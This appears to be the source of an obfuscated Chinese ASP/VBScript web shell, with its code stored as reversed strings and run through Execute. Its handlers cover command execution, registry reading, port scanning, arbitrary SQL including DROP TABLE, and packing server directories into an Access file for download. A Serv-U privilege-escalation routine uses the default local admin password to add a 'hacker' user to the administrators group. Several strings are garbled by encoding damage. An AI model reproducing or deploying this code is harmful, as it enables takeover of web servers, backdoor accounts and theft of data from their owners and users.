fi~)yeKtenleT(daeRgeR.hsW=troPtnlT~¨~troPtenleT\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yektenleT~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = hsw teS~¨~>1=ezis rh<>rb<]²â̽¿Ú¶ËÊâÌØ[>rb<>rb<¨~ etirW.esnopseR~txeN emuseR rorrE nO~)(ofnIlanimreTteg bus" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dne~gnihton=3tsopx tes~)sevael(dnes.3tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.3tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = 3tsopx tes~flrcbv & resut & ¨~=resU ¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~RESUETELED-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~esle~)¨~>RB<>rb<): ¨~ & htapt & ¨~ :¾¶Â· ¨~ & ssapt & ¨~ :ÂëÃܨ~ & ¨~ ¨~ & resut & ¨~ :Ãû»§Óà PTF£¡£¡ÐÐÖ´¹¦³ÉÁîÃü>der=roloc tnof<>retnec<¨~( etirw.esnopser~gnihton=tsopx tes~)sevael(dnes.tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = tsopx tes~txen emuser rorre no~flrcbv & ¨~tiuq¨~ & sevael = sevael~flrcbv & ¨~PDCLEMAWR|\¨~ & htapt & ¨~=sseccA ¨~ & flrcbv & ¨~enoN=soitaR-¨~ & flrcbv & ¨~ralugeR=epyTdrowssaP-¨~ & flrcbv & ¨~metsyS=ecnanetniaM-¨~~_ & flrcbv & ¨~0=mumixaMatouQ-¨~ & flrcbv & ¨~0=tnerruCatouQ-¨~ & flrcbv & ¨~0=tiderCsoitaR-¨~ & flrcbv & ¨~1=nwoDoitaR-¨~~_ & flrcbv & ¨~1=pUoitaR-¨~ & flrcbv & ¨~0=eripxE-¨~ & flrcbv & ¨~1-=tuOemiTnoisseS-¨~ & flrcbv & ¨~006=tuOemiTeldI-¨~ & flrcbv & ¨~1-=sresUrNxaM-¨~~_ & flrcbv & ¨~0=nwoDtimiLdeepS-¨~ & flrcbv & ¨~0=pUtimiLdeepS-¨~ & flrcbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & flrcbv & ¨~0=elbanEatouQ-¨~~_ & flrcbv & ¨~0=drowssaPegnahC-¨~ & flrcbv & ¨~0=nigoLwollAsyawlA-¨~ & flrcbv & ¨~0=neddiHediH-¨~ & flrcbv & ¨~0=eruceSdeeN-¨~~_ & flrcbv & ¨~1=shtaPleR-¨~ & flrcbv & ¨~0=elbasiD-¨~ & flrcbv & ¨~=eliFseMnigoL-¨~ & flrcbv & ¨~\¨~ & htapt & ¨~=riDemoH-¨~~_ & flrcbv & ssapt & ¨~=drowssaP-¨~ & flrcbv & resut & ¨~=resU-¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~PUTESRESUTES-¨~ & sevael = sevael~flrcbv & ¨~=yeKOZT ¨~ & flrcbv & ¨~0=elbanEOZT-¨~ & flrcbv & ¨~0|1|1-|¨~ & tropt & ¨~|¨~&pirevres&¨~|79944QQ=niamoD-¨~ & flrcbv & ¨~NIAMODTES-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ = tm~flrcbv & tropt & ¨~=oNtroP ¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~NIAMODeteleD-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~neht ¨~dda¨~ = )¨~nottuboidar¨~(mrof.tseuqer fi~006=tuoemit~)¨~ptsoh¨~(mrof.tseuqer = pitsoh~)¨~tropt¨~(mrof.tseuqer = tropt~)¨~htapt¨~(mrof.tseuqer = htapt~)¨~ssapt¨~(mrof.tseuqer = ssapt~)¨~resut¨~(mrof.tseuqer = resut~)¨~tropd¨~(mrof.tseuqer = trop~)¨~dwpd¨~(mrof.tseuqer = dwp~)¨~resud¨~(mrof.tseuqer = rsu~)¨~pires¨~(mrof.tseuqer = pirevres~¨~>mrof/<>elbat/<>rt/<>dt/<>'½»Ìá'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>DTBT=ssalc dt<¨~srr~¨~>dt/<³ýɾ¶¨È·>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<¨~srr~¨~¼ÓÌí¶¨È·>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>DTBT=ssalc dt<>rt<¨~srr~¨~>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËÎñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>DTBT=ssalc dt<>dt/<:¾¶Â·µÄ¶ÔËùµÄºÅÕÊ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>DTBT=ssalc dt<>dt/<:ÂëÃÜ»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>DTBT=ssalc dt<>dt/<:Ãû»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËU-VRES>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>DTBT=ssalc dt<>dt/<: ÂëÃÜÔ±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>DTBT=ssalc dt<>dt/<:Ô±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'0.0.0.0'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pires'=eman tupni<>DTBT=ssalc dt<>dt/<:PIÆ÷Îñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>RT/<>DT/<>tnof/<¸Ä±»ÂëÃÜu-vreS±í´ú¾Í¹¦³É²»ÔÙ¹ûÈç>rb<¨~&)¨~RDDA_LACOL¨~(selbairaVrevreS.tseuqeR&¨~:PI´Ë³É¸ÄÐ޾͹¦³É²»0.0.0.0¹ûÈç>rb<½ÓÁ¬ÒԿɶ¼PIºÎÈαí´ú0.0.0.0:PIÆ÷Îñ·þ>rb<:Ã÷˵½ÓÁ¬PI>rb<>rb<°æɱͨÐò³ÌȨT U-vreS>'ffffff'=roloc tnof<>daeHBT=ssalc 2=napsloc DT<>RT<>ffffff#=roloCgb 0=redrob 084=htdiw 3=gniddapllec 1=gnicapsllec retnec=ngila ELBAT<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<¨~srr~)(ptfus noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dnE ~gnihtoN=nnoC teS ~esolC.nnoC ~~fI dnE~¨~¨~=WR:WR etirW.esnopseR ~~fI dnE ~rtSlqS&¨~£º¾äÓïLQS¨~ & WR=WR ~)rtSlqS(etucexE.nnoC ~ eslE ~¨~¨~=WR:WR etirW.esnopseR ~ ~gnihtoN=sR teS:esolC.sR ~¨~>elbat/<>rt/<>dt/<>'FEFEFE#'=roloc rh<¨~ & WR=WR ~fI dnE ~¨~>a/<ҳβ>')¨~&NP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ò»ÏÂ>')¨~&1+egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~txeN ~fI dnE ~¨~;psbn&>a/<¨~&i&¨~>')¨~&i&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~eslE ~¨~;psbn&¨~&i & WR=WR ~nehT egaP=i fI ~roF tixE nehT NP>i fI ~8+pS oT pS=i roF ~fi dnE:1=pS:eslE:8-egaP=pS:nehT 8>egaP fI ~¨~;psbn&>a/<Ò³Ò»ÉÏ>')¨~&1-egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ê×>')1,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&;psbn&¨~ & WR=WR ~nehT 1>NP fI ~NP&¨~/¨~&egaP&¨~£ºÂëÒ³;psbn&¨~&CR&¨~£ºÊý¼¼Ç>retnec=ngila ¨~&1+NF&¨~=napsloc dt<>rt<¨~ & WR=WR ~~)rtSlqS(edoCnElmtH=rtSlqS ~ ~¨~¨~=WR:WR etirW.esnopseR ~ ~pooL ~txeNevoM.sR ~¨~>rt/<¨~ & WR=WR ~txeN ~¨~>dt/<¨~&ofnIloC&¨~>¨~&rolocgB&¨~=rolocgb dt<¨~ & WR=WR ~fI dnE ~))05,)i(sR(tfeL(edocnELMTH=ofnIloC ~eslE ~))i(sR(edocnELMTH=ofnIloC ~nehT 1=CR fI ~fi dnE:¨~FEFEFE#¨~=rolocgB:eslE:¨~5F5F5F#¨~=rolocgB:nehT ¨~FEFEFE#¨~=rolocgB fI ~1-NF oT 0=i roF ~ ¨~>dt/<>tnof/'sgnidgniw'=ecaf tnof<>cccccc#=rolocgb dt<>rt<¨~ & WR=WR ~¨~FEFEFE#¨~=rolocgB ~1-tnuoC=tnuoC ~0>tnuoC dnA )foB.sR ro foE.sR(toN elihW oD ~~¨~>rt/<¨~ & WR=WR ~txeN ~gnihton=dlF teS ~¨~>dt/<¨~&emaN.dlF&¨~>'retnec'=ngila dt<¨~ & WR=WR ~)n(metI.sdleiF.sR=dlF teS ~1-NF ot 0=n roF ~ ¨~>dt/<>dt<>cccccc#=rolocgb 52=thgieh rt<>retnec=ngila elbat<¨~ & WR=WR ~egaP=egapetulosba.sR nehT 1>egaP fI ~NP=egaP nehT NP>egaP fI ~1=egaP nehT 0=egaP rO ¨~¨~=egaP fI ~)egaP(gnlC=egaP nehT ¨~¨~>vid/<¨~&rtSlqS&¨~£º¾äÓïÐÐÖ´>'retnec'=ngila vid<¨~ & WR=WR ~neht ¨~tceles¨~=))6,rtSlqS(tfeL(esaCL fI ~~nehT 01>)rtSlqS(neL fI~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<¨~ & WR=WR ~gnihtoN=sR teS ~ pooL ~ txeNevoM.sR ~ fI dnE ~¨~>dt/<>a/<¨~&emaNT&¨~>')1,¨~¨~]¨~&emaNT&¨~[ MORF * TCELES¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>rb<>a/<] led [>')1,¨~¨~]¨~&emaNT&¨~[ ELBAT PORD¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<>retnec=ngila dt<¨~ & WR=WR ~)¨~EMAN_ELBAT¨~(sR=emaNT ~neht ¨~ELBAT¨~=)¨~EPYT_ELBAT¨~(sR fI ~foE.sR toN elihW oD ~ tsriFevoM.sR ~¨~>dt/<Ãû>rb<±í>dt<>'CCCCCC#'=rolocgB '52'=thgieh rt<>'retnec'=ngila elbat<¨~ & WR=WR ~ )02(amehcSnepO.nnoC=sR teS ~rtSbD nepO.nnoC ~))0,5(TbO(tcejbOetaerC=nnoC teS ~ ~nehT 04>)rtSbD(neL fI ~~¨~¨~=WR:WR etirW.esnopseR ~¨~>naps/<>'OSFS'=di naps<>elbat/<>mrof/<>rt/<¨~ & WR=WR ~¨~>dt/<>'timbus'=ssalc ')(kcehCbD nruter'=kcilcno 'ÐÐÖ´'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSlqS&¨~'=eulav '514:htdiw'=elyts 'rtSlqS'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:ÁîÃü×÷²ÙLQS;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>'1'=eulav 'neddih'=epyt 'egaP'=eman tupni<>'reganaMbD'=eulav 'neddih'=epyt 'noitcA'=eman tupni<¨~ & WR=WR ~¨~>rt/<>dt/<>tceles/<>noitpo/<ʾÏÔÈ«Íê>21=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¶Î×Ö³ýɾ>11=eulav noitpo<>noitpo/<¶Î×Ö¼ÓÌí>01=eulav noitpo<>noitpo/<±í¾ÝÊýɾ>9=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<±í¾ÝÊý½¨>8=eulav noitpo<>noitpo/<¾ÝÊý¸ÄÐÞ>7=eulav noitpo<>noitpo/<¾ÝÊý³ýɾ>6=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¾ÝÊý¼ÓÌí>5=eulav noitpo<>noitpo/<¾ÝÊýʾÏÔ>4=eulav noitpo<>noitpo/<--·¨ÓïLQS-->1-=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬NSD>3=eulav noitpo<>noitpo/<½ÓÁ¬lqSyM>2=eulav noitpo<>noitpo/<½ÓÁ¬lqSsM>1=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬sseccA>0=eulav noitpo<>noitpo/<Àýʾ´®½ÓÁ¬>1-=eulav noitpo<>')eulav.]xednIdetceles[snoitpo(rtSbDlluF nruter'=egnahcno 'ntBrtS'=eman tceles<>'FFFFFF#'=rolocgb 'retnec'=ngila '29'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSbD&¨~'=eulav '514:htdiw'=elyts 'rtSbD'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:´®½ÓÁ¬¿â¾ÝÊý;psbn& >'FFFFFF#'=rolocgb '09'=htdiw dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²Ù¿â¾ÝÊý>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'tsop'=dohtem 'mroFbD'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~rtSbD¨~(mroF.tseuqeR=rtSbD ~))¨~rtSlqS¨~(mroF.tseuqeR(mirT=rtSlqS ~)(reganaMbD noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne ~gnihtoN=osf teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~gnihtoN=sda teS ~esolc.nnoc ~esolc.sr ~1+)¨~eman¨~(noisses=)¨~eman¨~(noisses ~)¨~>tpircs/<;)'¨~&)))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR&¨~ÊÇÖ·µØn\!·ÅÊÍ¿â¾ÝÊý¨~&))¨~seliF¨~(mrof.tseuqer(htaPeR&¨~½«¹¦³É¾­ÒÑn\:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~pool ~txenevom.sr ~hsulF.esnopseR ~¨~>rb<¨~ & elif & ¨~ > ¿â³ö;psbn&>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~fi dne ~esolc.sda ~2,elif eliFoTevaS.sda ~)¨~ydob¨~(sr etirw.sda ~1=epyT.sda ~nepO.sda ~neht )¨~¨~><)¨~elif¨~(sr( dna ))elif(stsixEeliF.osf ton( fi ~)redlof(redloFetaerC.osf neht )redlof(stsixEredloF.osf ton fi ~redlof=htap ~)¨~elif¨~(sr & ¨~\¨~ & redlof=elif ~)¨~redlof¨~(sr & ))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM=redlof ~)fob.sr ro foe.sr(ton elihw od ~))0,0(TbO(tcejbOetaerC.revreS=osf teS ~))0,6(TbO(tcejbOetaerC.revreS=sda teS ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~seliF¨~(mrof.tseuqer&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~ nepo.nnoc ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~neht ¨~2V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~fi dne ~)¨~>tpircs/<;)'¨~&)))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres(htaPeR & ¨~ÊÇÖ·µØn\!¿âÈë¨~ & )))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR & ¨~½«¹¦³É¾­ÒÑ<:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~gnihtoN=osf teS ~gnihtoN=sda teS ~gnihtoN=dlof teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~esolc.nnoc ~esolc.sr ~)1+)¨~\¨~,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(veRrtsnI,)1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(FS llaC ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~gnihtoN=aC teS ~¨~)egami ydob,RAHCRAV elif,RAHCRAV redlof,DERETSULC YEK YRAMIRP )1,1(YTITNEDI tni di(zw ELBAT ETAERC¨~etucexE.nnoc ~bd nepo.nnoc ~bd etaerC.aC ~))0,2(TbO(tcejbOetaerC.revreS=aC teS ~ ))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~=bd ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirw.esnopser ~))0,6(TbO(tcejbOetaerC.revreS=sda tes ~ ))0,0(TbO(tcejbOetaerC=osf tes ~neht ¨~1V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'bdt.bdMoT\¨~&)tooRWWW(htaPeRR&¨~'=eulav '514:htdiw'=elyts 'seliF'=eman 'txet'=epyt tupni<:¾¶Â·;psbn&>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~ ¨~>dt/<¿â³ö>'2V'=eulav '1R'=eman 'oidar'=epyt tupni< ¿âÈë>'1R'=eman dekcehc '1V'=eulav 'oidar'=epyt tupni<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'TSOP'=dohtem mrof<>dt/<>rt/<¿â³ö/¿âÈë°ü´ò>'unem'=rolocgb 'retnec'=ngila '2'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~0=seripxE.esnopseR ~)(bdMoT noitcnuF" ExeCuTe(UZSS(Hacker)) Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write " Èë¿â > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "suftp":suftp() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "php":php() Case "MMD":MMD() Case "getTerminalInfo":getTerminalInfo() Case "adminab":adminab() Case "proxy":proxy() Case "goback":goback() Case "showE":showE() Case "lpdel":lpdel() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "sql":sql() Case "PageAddToMdb":PageAddToMdb() Case "asplist"asplist() Case "ScanDriveForm":ScanDriveForm() Case "ScanDrive": ScanDrive Request("Drive")() Case "ScFolder": ScFolder Request("Folder")() Case "ScanPort":ScanPort() Case "downloads":downloads() Case "Servu" Hacker="fi dne ~¨~>retnec/<>mrof/<>elbat/<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'1'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'ÖÃÖØ'=eulav '2timbuS'=eman 'teser'=epyt tupni<¨~ SRR ~¨~>'½»Ìá'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ SRR ~¨~>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'07'=ezis 'dda/ rekcah srotartsinimda puorglacol ten & dda/ rekcah rekcah resu ten c/ dmc'=eulav 'c'=di 'xet'=epyt 'c'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁîÃüÐÐÖ´;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '¨~&f&¨~'=eulav 'f'=di 'txet'=epyt 'f'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¾¶Â·Í³Ïµ;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '85934'=eulav 'trop'=di 'txet'=epyt 'trop'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¿Ú¶ËÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'P@0;kl.#ka$@l#'=eulav 'p'=di 'txet'=epyt 'p'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁî¿ÚÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'rotartsinimdAlacoL'=eulav 'u'=di 'txet'=epyt 'u'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º»§ÓÃÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<>dt/<¼þÎÄMOCÓëSBVÕß»ò exe.ÂíľµÄ´«ÉÏÄã\:d c/ dmc:ÈçÀý,¸ÄÐÞÒâÈÎÒÔ¿ÉÁîÃü>rb<´Î¼¸½»Ìá¶à¾Í¹¦³É²»È¨Ìá¹ûÈç:ʾÌá¨~ SRR ~¨~>rb<>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<¨~ SRR ~¨~>dt/<ÏÞȨÉýÌá uvreS>'2'=napsloc dt<¨~ SRR ~¨~>rB<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ SRR ~¨~>'uvreS=noitcA?'=noitca 'nusdlog'=eman 'tsop'=dohtem mrof<>retnec<¨~ SRR ~gnihtoN = c teS ~troba.c ~gnihtoN = b teS ~troba.b ~gnihtoN = a teS ~troba.a ~)¨~c¨~(noisses=c tes ~)¨~b¨~(noisses=b tes ~)¨~a¨~(noisses=a tes ~txen emuser rorre no ~esle ~¨~>retnec/<¨~ SRR ~¨~>'uvreS=noitcA?'=ferh.noitacol=kcilCno ' Ðø¼Ì»Ø·µ '=eulav 'nottub'=epyt tupni<¨~ SRR ~¨~>rb<>rb<>tnof/<¨~&dmc&¨~>der=roloc tnof<>rb<£ºÁîÃüÁËÐÐÖ´ÒÑ,±ÏÍêȨÌá>retnec<>rb<¨~ SRR ~c=)¨~c¨~(noisses tes ~tiuq & niamodled & tm & ssapnigol & resunigol dnes.c ~¨~¨~ ,¨~¨~ ,eurT ,¨~3s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.c ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=c tes ~neht 3 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,';)(timbus.nusdlog.lla.tnemucod'(tuoemiTtes¨~ SRR ~¨~;)'>retnec<...´ýµÈÇë,ÏÞȨÉýÌáÔÚÕý>retnec<>rb<'(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'3'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~b=)¨~b¨~(noisses tes ~tiuq & fLrCbv & dmc & ¨~ cexe etis¨~ & fLrCbv & ¨~do ssap¨~ & fLrCbv & ¨~og resU¨~ dnes.b ~¨~¨~ ,¨~¨~ ,eurT ,¨~2s/nimdapu/4112903/¨~ & tropptf & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.b ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=b tes ~neht 2 